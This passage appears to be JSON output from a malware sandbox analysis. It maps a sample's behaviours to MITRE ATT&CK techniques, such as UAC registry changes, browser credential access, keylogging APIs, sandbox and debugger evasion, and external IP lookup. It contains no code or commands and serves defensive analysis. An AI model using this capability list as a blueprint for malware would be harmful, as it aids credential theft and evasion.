detected","Recently renewed or created SSL certificate"],"parent":{"technique":"Acquire Infrastructure","attck_id":"T1583","attck_id_wiki":"https://attack.mitre.org/techniques/T1583"}},{"tactic":"Initial Access","technique":"Phishing","attck_id":"T1566","attck_id_wiki":"https://attack.mitre.org/techniques/T1566","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Execution","technique":"Native API","attck_id":"T1106","attck_id_wiki":"https://attack.mitre.org/techniques/T1106","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Imports suspicious APIs"],"informative_identifiers_count":10,"informative_identifiers":["Contains ability to create/open files (API string)","Contains ability to create a new process (API string)","Contains ability to execute an application (API string)","Contains ability to execute Windows APIs","Contains ability to load modules (API string)","Contains ability to set/get the last-error code for a calling thread (API string)","Contains ability to retrieve address of exported function from a DLL (API string)","Contains ability to retrieve/modify process thread (API string)","Contains ability to retrieve the fully qualified path of module (API string)","Calls an API typically used to retrieve function addresses"],"parent":null},{"tactic":"Execution","technique":"Inter-Process Communication","attck_id":"T1559","attck_id_wiki":"https://attack.mitre.org/techniques/T1559","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to create/connect to a named pipe (API string)"],"parent":null},{"tactic":"Execution","technique":"Windows Command Shell","attck_id":"T1059.003","attck_id_wiki":"https://attack.mitre.org/techniques/T1059/003","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to retrieve the command-line string for the current process (API string)"],"parent":{"technique":"Command and Scripting Interpreter","attck_id":"T1059","attck_id_wiki":"https://attack.mitre.org/techniques/T1059"}},{"tactic":"Execution","technique":"Shared Modules","attck_id":"T1129","attck_id_wiki":"https://attack.mitre.org/techniques/T1129","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":4,"informative_identifiers":["Loads modules at runtime","Calls an API typically used to load libraries","Loads the RPC (Remote Procedure Call) module DLL","Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"],"parent":null},{"tactic":"Persistence","technique":"Account Manipulation","attck_id":"T1098","attck_id_wiki":"https://attack.mitre.org/techniques/T1098","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to modify the user configuration/privilege (API string)"],"parent":null},{"tactic":"Persistence","technique":"Windows Service","attck_id":"T1543.003","attck_id_wiki":"https://attack.mitre.org/techniques/T1543/003","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":3,"informative_identifiers":["Contains ability to access device drivers","Contains ability to create/control drivers (API string)","Creates or modifies windows services"],"parent":{"technique":"Create or Modify System Process","attck_id":"T1543","attck_id_wiki":"https://attack.mitre.org/techniques/T1543"}},{"tactic":"Persistence","technique":"Modify Registry","attck_id":"T1112","attck_id_wiki":"https://attack.mitre.org/techniques/T1112","malicious_identifiers_count":1,"malicious_identifiers":["Modifies the UAC/LUA settings (Account Control)"],"suspicious_identifiers_count":3,"suspicious_identifiers":[],"informative_identifiers_count":4,"informative_identifiers":["Contains ability to disable/close registry key (API string)","Contains ability to create/load registry keys (API string)","Contains ability to modify registry key/value (API string)","Accesses System Certificates Settings"],"parent":null},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attck_id":"T1546.015","attck_id_wiki":"https://attack.mitre.org/techniques/T1546/015","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Overview of unique CLSIDs touched in registry"],"parent":{"technique":"Event Triggered Execution","attck_id":"T1546","attck_id_wiki":"https://attack.mitre.org/techniques/T1546"}},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attck_id":"T1547.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1547/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains reference to Windows Startup folder"],"parent":{"technique":"Boot or Logon Autostart Execution","attck_id":"T1547","attck_id_wiki":"https://attack.mitre.org/techniques/T1547"}},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attck_id":"T1547","attck_id_wiki":"https://attack.mitre.org/techniques/T1547","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attck_id":"T1134.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1134/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":3,"informative_identifiers":["Contains ability to obtains specified information about the security of a file or directory (API string)","Contains ability to impersonate access tokens (API string)","Imports system security related APIs"],"parent":{"technique":"Access Token Manipulation","attck_id":"T1134","attck_id_wiki":"https://attack.mitre.org/techniques/T1134"}},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attck_id":"T1055.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1055/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to load/free library (API string)"],"parent":{"technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055"}},{"tactic":"Privilege Escalation","technique":"Account Manipulation","attck_id":"T1098","attck_id_wiki":"https://attack.mitre.org/techniques/T1098","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to modify the user configuration/privilege (API string)"],"parent":null},{"tactic":"Privilege Escalation","technique":"Windows Service","attck_id":"T1543.003","attck_id_wiki":"https://attack.mitre.org/techniques/T1543/003","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":3,"informative_identifiers":["Contains ability to access device drivers","Contains ability to create/control drivers (API string)","Creates or modifies windows services"],"parent":{"technique":"Create or Modify System Process","attck_id":"T1543","attck_id_wiki":"https://attack.mitre.org/techniques/T1543"}},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attck_id":"T1134.002","attck_id_wiki":"https://attack.mitre.org/techniques/T1134/002","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to create process with token (API string)"],"parent":{"technique":"Access Token Manipulation","attck_id":"T1134","attck_id_wiki":"https://attack.mitre.org/techniques/T1134"}},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attck_id":"T1055.003","attck_id_wiki":"https://attack.mitre.org/techniques/T1055/003","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Creates a thread in a self process"],"parent":{"technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055"}},{"tactic":"Privilege Escalation","technique":"Component Object Model Hijacking","attck_id":"T1546.015","attck_id_wiki":"https://attack.mitre.org/techniques/T1546/015","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Overview of unique CLSIDs touched in registry"],"parent":{"technique":"Event Triggered Execution","attck_id":"T1546","attck_id_wiki":"https://attack.mitre.org/techniques/T1546"}},{"tactic":"Privilege Escalation","technique":"ListPlanting","attck_id":"T1055.015","attck_id_wiki":"https://attack.mitre.org/techniques/T1055/015","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Able to visualize and control listed components (API string)"],"parent":{"technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055"}},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attck_id":"T1055.011","attck_id_wiki":"https://attack.mitre.org/techniques/T1055/011","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":2,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":{"technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055"}},{"tactic":"Privilege Escalation","technique":"Registry Run Keys / Startup Folder","attck_id":"T1547.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1547/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains reference to Windows Startup folder"],"parent":{"technique":"Boot or Logon Autostart Execution","attck_id":"T1547","attck_id_wiki":"https://attack.mitre.org/techniques/T1547"}},{"tactic":"Privilege Escalation","technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to inject code into another process (API string)"],"parent":null},{"tactic":"Privilege Escalation","technique":"Boot or Logon Autostart Execution","attck_id":"T1547","attck_id_wiki":"https://attack.mitre.org/techniques/T1547","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attck_id":"T1055.005","attck_id_wiki":"https://attack.mitre.org/techniques/T1055/005","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":{"technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055"}},{"tactic":"Defense Evasion","technique":"Token Impersonation/Theft","attck_id":"T1134.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1134/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":3,"informative_identifiers":["Contains ability to obtains specified information about the security of a file or directory (API string)","Contains ability to impersonate access tokens (API string)","Imports system security related APIs"],"parent":{"technique":"Access Token Manipulation","attck_id":"T1134","attck_id_wiki":"https://attack.mitre.org/techniques/T1134"}},{"tactic":"Defense Evasion","technique":"Dynamic-link Library Injection","attck_id":"T1055.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1055/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to load/free library (API string)"],"parent":{"technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055"}},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attck_id":"T1562.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1562/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to modify process attributes (API string)"],"parent":{"technique":"Impair Defenses","attck_id":"T1562","attck_id_wiki":"https://attack.mitre.org/techniques/T1562"}},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attck_id":"T1622","attck_id_wiki":"https://attack.mitre.org/techniques/T1622","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Contains ability to check debugger is running (API string)","Contains ability to register a top-level exception handler (API string)"],"parent":null},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attck_id":"T1222","attck_id_wiki":"https://attack.mitre.org/techniques/T1222","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to modify file attributes (API string)"],"parent":null},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attck_id":"T1027","attck_id_wiki":"https://attack.mitre.org/techniques/T1027","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":2,"suspicious_identifiers":["CRC value set in PE header does not match actual value"],"informative_identifiers_count":7,"informative_identifiers":["Contains CRYPTO related strings","Contains ability to use Cryptographic classes","Contains ability to encrypt/encode message (API string)","Loads the Bcrypt module DLL","PE file contains zero-sized sections","YARA signature match - Djb2 Hash Algorithm","Shows ability to obfuscate file or information"],"parent":null},{"tactic":"Defense Evasion","technique":"Create Process with Token","attck_id":"T1134.002","attck_id_wiki":"https://attack.mitre.org/techniques/T1134/002","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to create process with token (API string)"],"parent":{"technique":"Access Token Manipulation","attck_id":"T1134","attck_id_wiki":"https://attack.mitre.org/techniques/T1134"}},{"tactic":"Defense Evasion","technique":"Modify Registry","attck_id":"T1112","attck_id_wiki":"https://attack.mitre.org/techniques/T1112","malicious_identifiers_count":1,"malicious_identifiers":["Modifies the UAC/LUA settings (Account Control)"],"suspicious_identifiers_count":3,"suspicious_identifiers":[],"informative_identifiers_count":4,"informative_identifiers":["Contains ability to disable/close registry key (API string)","Contains ability to create/load registry keys (API string)","Contains ability to modify registry key/value (API string)","Accesses System Certificates Settings"],"parent":null},{"tactic":"Defense Evasion","technique":"Timestomp","attck_id":"T1070.006","attck_id_wiki":"https://attack.mitre.org/techniques/T1070/006","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Contains ability to retrieve file time (API string)","Contains ability to set file time (API string)"],"parent":{"technique":"Indicator Removal","attck_id":"T1070","attck_id_wiki":"https://attack.mitre.org/techniques/T1070"}},{"tactic":"Defense Evasion","technique":"Thread Execution Hijacking","attck_id":"T1055.003","attck_id_wiki":"https://attack.mitre.org/techniques/T1055/003","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Creates a thread in a self process"],"parent":{"technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055"}},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attck_id":"T1497.003","attck_id_wiki":"https://attack.mitre.org/techniques/T1497/003","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Contains ability to delay execution by waiting for signal/timeout (API string)","Contains ability to retrieve the time elapsed since the system was started (API string)"],"parent":{"technique":"Virtualization/Sandbox Evasion","attck_id":"T1497","attck_id_wiki":"https://attack.mitre.org/techniques/T1497"}},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attck_id":"T1140","attck_id_wiki":"https://attack.mitre.org/techniques/T1140","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Contains ability to perform decryption (API string)","Shows ability to deobfuscate/decode files or information"],"parent":null},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attck_id":"T1497.002","attck_id_wiki":"https://attack.mitre.org/techniques/T1497/002","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Able to identify virtual environment by using user activity (API string)"],"parent":{"technique":"Virtualization/Sandbox Evasion","attck_id":"T1497","attck_id_wiki":"https://attack.mitre.org/techniques/T1497"}},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attck_id":"T1480","attck_id_wiki":"https://attack.mitre.org/techniques/T1480","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Creates mutants","Shows ability to use execution guardrails"],"parent":null},{"tactic":"Defense Evasion","technique":"Hidden Window","attck_id":"T1564.003","attck_id_wiki":"https://attack.mitre.org/techniques/T1564/003","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Contains ability to show a graphical window (API string)","Contains ability to pass information to a window procedure (API string)"],"parent":{"technique":"Hide Artifacts","attck_id":"T1564","attck_id_wiki":"https://attack.mitre.org/techniques/T1564"}},{"tactic":"Defense Evasion","technique":"ListPlanting","attck_id":"T1055.015","attck_id_wiki":"https://attack.mitre.org/techniques/T1055/015","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Able to visualize and control listed components (API string)"],"parent":{"technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055"}},{"tactic":"Defense Evasion","technique":"Extra Window Memory Injection","attck_id":"T1055.011","attck_id_wiki":"https://attack.mitre.org/techniques/T1055/011","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":2,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":{"technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055"}},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attck_id":"T1564","attck_id_wiki":"https://attack.mitre.org/techniques/T1564","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Spawns Windows crash diagnostic and reporting process"],"parent":null},{"tactic":"Defense Evasion","technique":"Code Signing","attck_id":"T1553.002","attck_id_wiki":"https://attack.mitre.org/techniques/T1553/002","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["The input sample is signed with a certificate"],"parent":{"technique":"Subvert Trust Controls","attck_id":"T1553","attck_id_wiki":"https://attack.mitre.org/techniques/T1553"}},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attck_id":"T1027.009","attck_id_wiki":"https://attack.mitre.org/techniques/T1027/009","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Section contains high entropy"],"informative_identifiers_count":1,"informative_identifiers":[".rdata section contains high entropy"],"parent":{"technique":"Obfuscated Files or Information","attck_id":"T1027","attck_id_wiki":"https://attack.mitre.org/techniques/T1027"}},{"tactic":"Defense Evasion","technique":"Code Signing Policy Modification","attck_id":"T1553.006","attck_id_wiki":"https://attack.mitre.org/techniques/T1553/006","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":{"technique":"Subvert Trust Controls","attck_id":"T1553","attck_id_wiki":"https://attack.mitre.org/techniques/T1553"}},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attck_id":"T1497","attck_id_wiki":"https://attack.mitre.org/techniques/T1497","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":2,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Contains ability to detect sandbox (imports API)","Attempts to call APIs commonly associated with anti-analysis and evasion techniques"],"parent":null},{"tactic":"Defense Evasion","technique":"File Deletion","attck_id":"T1070.004","attck_id_wiki":"https://attack.mitre.org/techniques/T1070/004","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to delete files/directories (API string)"],"parent":{"technique":"Indicator Removal","attck_id":"T1070","attck_id_wiki":"https://attack.mitre.org/techniques/T1070"}},{"tactic":"Defense Evasion","technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to inject code into another process (API string)"],"parent":null},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attck_id":"T1027.007","attck_id_wiki":"https://attack.mitre.org/techniques/T1027/007","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to dynamically determine API calls"],"parent":{"technique":"Obfuscated Files or Information","attck_id":"T1027","attck_id_wiki":"https://attack.mitre.org/techniques/T1027"}},{"tactic":"Defense Evasion","technique":"Indicator Removal","attck_id":"T1070","attck_id_wiki":"https://attack.mitre.org/techniques/T1070","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Defense Evasion","technique":"Thread Local Storage","attck_id":"T1055.005","attck_id_wiki":"https://attack.mitre.org/techniques/T1055/005","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":{"technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055"}},{"tactic":"Credential Access","technique":"OS Credential Dumping","attck_id":"T1003","attck_id_wiki":"https://attack.mitre.org/techniques/T1003","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"],"parent":null},{"tactic":"Credential Access","technique":"Input Capture","attck_id":"T1056","attck_id_wiki":"https://attack.mitre.org/techniques/T1056","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to register/read input devices (API string)"],"parent":null},{"tactic":"Credential Access","technique":"Keylogging","attck_id":"T1056.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1056/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to retrieve information about pressed keystrokes (API string)"],"parent":{"technique":"Input Capture","attck_id":"T1056","attck_id_wiki":"https://attack.mitre.org/techniques/T1056"}},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attck_id":"T1555","attck_id_wiki":"https://attack.mitre.org/techniques/T1555","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains string like password/secret"],"parent":null},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attck_id":"T1539","attck_id_wiki":"https://attack.mitre.org/techniques/T1539","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attck_id":"T1555.003","attck_id_wiki":"https://attack.mitre.org/techniques/T1555/003","malicious_identifiers_count":1,"malicious_identifiers":["Attempts to obtain browser login credentials (file access)"],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":{"technique":"Credentials from Password Stores","attck_id":"T1555","attck_id_wiki":"https://attack.mitre.org/techniques/T1555"}},{"tactic":"Discovery","technique":"File and Directory Discovery","attck_id":"T1083","attck_id_wiki":"https://attack.mitre.org/techniques/T1083","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":10,"informative_identifiers":["Contains ability to read files (API string)","Contains ability to retrieve file and directory information (API string)","Contains ability to retrieve path in which Windows is installed (API string)","Tries to access non-existent files (executable)","Reads files","Calls an API typically used for searching a directory for files","Contains ability to enumerate files on disk (API string)","Touches files in the Windows directory","Touches files","Tries to access non-existent files (non-executable)"],"parent":null},{"tactic":"Discovery","technique":"Debugger Evasion","attck_id":"T1622","attck_id_wiki":"https://attack.mitre.org/techniques/T1622","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Contains ability to check debugger is running (API string)","Contains ability to register a top-level exception handler (API string)"],"parent":null},{"tactic":"Discovery","technique":"Application Window Discovery","attck_id":"T1010","attck_id_wiki":"https://attack.mitre.org/techniques/T1010","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":4,"informative_identifiers":["Contains ability to retrieve open application windows (API string)","Calls an API typically used to get handle of currently active window","Scanning for window names","Calls an API typically used to get active windows title"],"parent":null},{"tactic":"Discovery","technique":"System Information Discovery","attck_id":"T1082","attck_id_wiki":"https://attack.mitre.org/techniques/T1082","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":2,"suspicious_identifiers":[],"informative_identifiers_count":20,"informative_identifiers":["Contains ability to retrieve operating system version","Contains reference to mutex-related activity (API string)","Attempts to call APIs to gather system and hardware detail","Contains ability to retrieve a module handle (API string)","Calls an API typically used to retrieve information about the current system","Contains ability to read software policies","Able to retrieve geographical location information","Contains ability to query volume/memory size (API string)","Calls an API typically used to get product type","Contains ability to retrieve the host's architecture (API string)","Contains ability to retrieve information about the current system (API string)","Contains ability to retrieve the specified system metric or system configuration setting (API string)","Contains ability to retrieve the NetBIOS name of the local computer (API string)","Calls an API typically used to get system version information","Reads information about supported languages","Reads system-defined device setup information from registry","Reads the cryptographic machine GUID","Calls an APIs used to retrieve geographical location information","Queries volume information","Reads the active computer name"],"parent":null},{"tactic":"Discovery","technique":"Query Registry","attck_id":"T1012","attck_id_wiki":"https://attack.mitre.org/techniques/T1012","malicious_identifiers_count":1,"malicious_identifiers":["Reads the registry for VMWare specific artifacts"],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":5,"informative_identifiers":["Contains registry location strings","Opens registry keys","Accesses Software Policy Settings","Contains ability to query registry keys (API string)","Queries registry keys"],"parent":null},{"tactic":"Discovery","technique":"Process Discovery","attck_id":"T1057","attck_id_wiki":"https://attack.mitre.org/techniques/T1057","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":2,"suspicious_identifiers":[],"informative_identifiers_count":7,"informative_identifiers":["Contains ability to enumerate process and/or its information (API string)","Contains ability to retrieve process ID (API string)","Calls an API typically used for taking snapshot of the specified processes","Contains ability to retrieve/open a process (API string)","Queries basic information of the specified process","Process launched with changed environment","Calls an API typically used to determine if process is running under WOW64"],"parent":null},{"tactic":"Discovery","technique":"Time Based Evasion","attck_id":"T1497.003","attck_id_wiki":"https://attack.mitre.org/techniques/T1497/003","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Contains ability to delay execution by waiting for signal/timeout (API string)","Contains ability to retrieve the time elapsed since the system was started (API string)"],"parent":{"technique":"Virtualization/Sandbox Evasion","attck_id":"T1497","attck_id_wiki":"https://attack.mitre.org/techniques/T1497"}},{"tactic":"Discovery","technique":"System Time Discovery","attck_id":"T1124","attck_id_wiki":"https://attack.mitre.org/techniques/T1124","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Contains ability to retrieve machine time (API string)","Contains ability to retrieve machine timezone (API string)"],"parent":null},{"tactic":"Discovery","technique":"System Owner/User Discovery","attck_id":"T1033","attck_id_wiki":"https://attack.mitre.org/techniques/T1033","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Calls an API typically used to retrieve user name","Contains ability to retrieve usernames and/or user information (API string)"],"parent":null},{"tactic":"Discovery","technique":"User Activity Based Checks","attck_id":"T1497.002","attck_id_wiki":"https://attack.mitre.org/techniques/T1497/002","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Able to identify virtual environment by using user activity (API string)"],"parent":{"technique":"Virtualization/Sandbox Evasion","attck_id":"T1497","attck_id_wiki":"https://attack.mitre.org/techniques/T1497"}},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attck_id":"T1016","attck_id_wiki":"https://attack.mitre.org/techniques/T1016","malicious_identifiers_count":2,"malicious_identifiers":["Found a reference to an external IP address lookup service","Tries to identify its external IP address"],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":3,"informative_identifiers":["Able to determine NetBIOS or DNS name associated with the local computer","Contains ability to retrieve the local name for a socket (API string)","Detected Suricata Alert - External IP 